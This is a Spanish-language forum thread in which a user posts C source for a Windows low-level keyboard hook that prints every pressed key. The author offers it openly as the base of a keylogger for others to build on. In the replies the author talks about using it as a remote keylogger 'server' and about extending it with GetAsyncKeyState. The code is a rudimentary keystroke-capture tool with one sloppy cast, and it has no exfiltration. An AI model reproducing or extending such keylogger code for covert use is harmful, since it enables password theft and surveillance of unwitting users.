Detectar teclas presionadas por HOOKS (Keylogger base)

Iniciado por linkgl, Agosto 19, 2011, 12:24:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Que tal, bueno para practicar hace un rato había hecho este ejemplo de cómo podría detectar teclas presionadas desde el teclado mediante el uso de hooks :P el resultado fué este:
(pequeña base para un keylogger, para quien lo quiera continuar)
Código: c

/***********************************
* Coder: Linkgl                    *
* Thanks: The swash                *
* Exaple for hooks WH_KEYBOARD_LL  *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   //llamamos a la estructura y la hacemos puntero para lParam
   KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
   //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
   if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
     return CallNextHookEx(0, nCode, wParam, lParam);
   if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
       printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *

   return CallNextHookEx(0, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   MSG msg;
   //definimos/activamos el hook
   hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
   //Bucle de mensajes
   while(TRUE==GetMessage(&msg, NULL, 0, 0))
   {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
   //eliminamos el hook
   UnhookWindowsHookEx(hHook);
}

Hace un tiempo vi un keylogger en python usando pyhook, está bastante bien usar hooks para un keylogger, la verdad, pero en C se complica el code xD.

No conocía pyhook :O, pero bueno un keylogger en python no creo que sea tan buena idea jaja porque si va a ser remoto y no tienes el intérprete pues vamos no va a servir a menos que le pases el pytoexe adjuntandole todas las librerías al mismo ejecutable que quedaría pesadisimo para ser un server de un keylogger, jaja en cambio en C acá ya tienes la base nomás falta usar GetAsyncKeyState o alguna función similar para detectar símbolos/caracteres raros no es difícil en realidad solo tienes que saber manejar la API de windows :P.

Gracias por el comentario  ;)